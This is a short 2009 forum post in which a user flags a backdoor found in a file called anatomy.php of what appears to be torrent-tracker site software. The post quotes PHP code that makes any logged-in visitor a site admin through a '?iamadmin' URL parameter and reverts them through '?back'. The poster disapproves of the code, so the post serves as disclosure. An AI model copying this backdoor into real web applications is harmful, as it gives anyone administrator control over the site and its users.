View Single Post
  #19  
Old 12th February 2009, 11:02
hellix's Avatar
hellix hellix is offline
Senior Member
 
Join Date: Oct 2008
Lithuania
Posts: 20
Thumbs down
PHP Code:
if ($_GET["iamadmin"]) {
$tagat=$CURUSER["id"];
                               
mysql_query("UPDATE `users` SET `class` = '9' WHERE `users`.`id` =$tagat") or sqlerr(__FILE____LINE__);
 print(
"Now you are one of site admins :D");
                }
if (
$_GET["back"]) {
$tagat=$CURUSER["id"];
                               
mysql_query("UPDATE `users` SET `class` = '0' WHERE `users`.`id` =$tagat") or sqlerr(__FILE____LINE__);
 print(
"Your class now is 0 :(");
                } 
in anatomy.php not nice............
Reply With Quote